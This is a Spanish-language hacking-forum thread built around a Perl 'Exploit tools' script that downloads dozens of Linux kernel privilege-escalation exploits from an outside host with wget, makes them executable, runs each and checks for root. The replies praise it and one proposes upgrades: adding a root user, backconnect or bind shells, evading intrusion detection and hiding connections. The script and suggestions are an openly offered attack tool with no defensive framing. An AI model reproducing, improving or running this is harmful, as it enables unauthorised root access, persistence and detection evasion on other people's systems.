Underc0de - La Casa de los Informáticos

#!/usr/bin/perl
# Exploit tools v1.0 coded by MeTRp0L - [email protected]
# Only for linux
# ur shell must have good perl and gcc..
# by MeTRp0L
{
system("wget http://metrpol.webs.com/05");
system("chmod 777 05");
system("./05");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/2.6.9-55-2007-prv8");
system("chmod 777 2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/55");
system("chmod 777 55");
system("./55");
system("./55");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/12");
system("chmod 777 12");
system("./12");
system("./12");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/18");
system("chmod 777 18");
system("./18");
system("./18");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/06");
system("chmod 777 06");
system("./06");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/7");
system("chmod 777 7");
system("./7");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/7-2");
system("chmod 777 7-2");
system("./7-2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8");
system("chmod 777 8");
system("./8");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8a");
system("chmod 777 8a");
system("./8a");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8bb");
system("chmod 777 8bb");
system("./8bb");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8cc");
system("chmod 777 8cc");
system("./8cc");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/8x");
system("chmod 777 8x");
system("./8x");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/9");
system("chmod 777 9");
system("./9");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com77");
system("chmod 777 77");
system("./77");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/78");
system("chmod 777 78");
system("./78");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/elflbl");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/kmod");
system("chmod 777 kmod");
system("./kmod");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/newlocal");
system("chmod 777 newlocal");
system("./newlocal");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/27799");
system("chmod 777 27799");
system("./27799");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget downloads.securityfocus.com/vulnerabilities/exploits/27704.c");
system("gcc 27704.c -o 27704"); 
system("chmod 777 27704");
system("./27704");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/k-rad3");
system("chmod 777 k-rad3");
system("./k-rad3 -t 1 -p 2");
system("./k-rad3 -t 1 -p 3");
system("./k-rad3 -t 1 -p 4");
system("./k-rad3 -t 1 -p 5");
system("./k-rad3 -t 1 -p 6");
system("./k-rad3 -t 1 -p 7");
system("./k-rad3 -t 1 -p 8");
system("./k-rad3 -t 1 -p 9");
system("./k-rad3 -t 1 -p 10");
system("./k-rad3 -t 1 -p 11");
system("./k-rad3 -t 1 -p 12");
system("./k-rad3 -t 1 -p 13");
system("./k-rad3 -t 1 -p 14");
system("./k-rad3 -t-p 2");
system("./k-rad3 -t-p 2");
system("./k-rad3 -t-p 3");
system("./k-rad3 -t-p 4");
system("./k-rad3 -t-p 5"); 
system("./k-rad3 -a -p 7");
system("./k-rad3 -a -p 7");
system("./k-rad3 -a -p 8");
system("./k-rad3 -a -p 8");
system("./k-rad3 -a -p 9");
system("./k-rad3 -a -p 9");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/pwned");
system("chmod 777 pwned");
system("./pwned");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/krad");
system("chmod 777 krad");
system("./krad -t 1 -p 2");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/r00t");
system("chmod 777 r00t");
system("./r00t");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/2.4.34");
system("chmod 777 2.4.34");
system("./2.4.34");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/lezr-km");
system("chmod 777 lezr-km"); 
system("./lezr-km");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/mremap_pte");
system("chmod 777 mremap_pte"); 
system("./mremap_pte");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ong_bak");
system("chmod 777 ong_bak"); 
system("./ong_bak -10023411");
system("./ong_bak -10029");
system("./ong_bak -10023");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/ptrace24");
system("chmod 777 ptrace24"); 
system("./ptrace24");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/pwned3");
system("chmod 777 pwned3"); 
system("./pwned3");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/loginx");
system("chmod 777 loginx"); 
system("./loginx");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/myptrace");
system("chmod 777 myptrace"); 
system("./myptrace");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/x");
system("chmod 777 x"); 
system("./x");
system("id");
print "If u r r00t stop xpl with ctrl+c\n";
system("wget http://metrpol.webs.com/crond");
system("chmod 777 crond"); 
system("./crond");
system("id");
print "If u r r00t stop xpl with ctrl+c\n"; 
system("wget http://metrpol.webs.com/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
print "If u r r00t stop xpl with ctrl+c\n"; 
print "If u arent im sorry xpl session finished \n";
}

mmm parece interesante lo as programao tu edeex?

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
mmm parece interesante lo as programao tu edeex?

#!/usr/bin/perl
# Exploit tools v1.0 coded by MeTRp0L - You are not allowed to view links. Register or Login
# Only for linux
# ur shell must have good perl and gcc..
# by MeTRp0L


Buen aporte !

Como a dicho FakedoOr.. revisa el codigo.

Saludos

El script, no es un script muy buen ideado, solo ejecuta funciones del sistema y tienes que pararlo manualmente...

Se podría mejorar su funcionamiento, primero quitando lineas de código innecesarias.

Pero buen aporte.

Creo que es mejor hacer algo nuevo. te doy las siguientes recomendaciones.

1.- crear funcion que obtenga el kernel y que por el kernel que tenga solo descargue los posibles exploits.
2.- detecteccion del kernel (si esta parchado)
3.- agregar usuario con privilegios root o sudo
4.- backconnect o bind
5.- download exploit (wget, curl, axel)
6.- evasion de ids, ips, (sort, etc)
7.- portknocking
8.- blind ports (tapar las conexiones que haga tu bind o backconnect)
9.- enumeracion de usuarios
10.- rescatar servicios

espero que te sirvan mis recomendaciones si quieres ayuda con algun modulo dime =)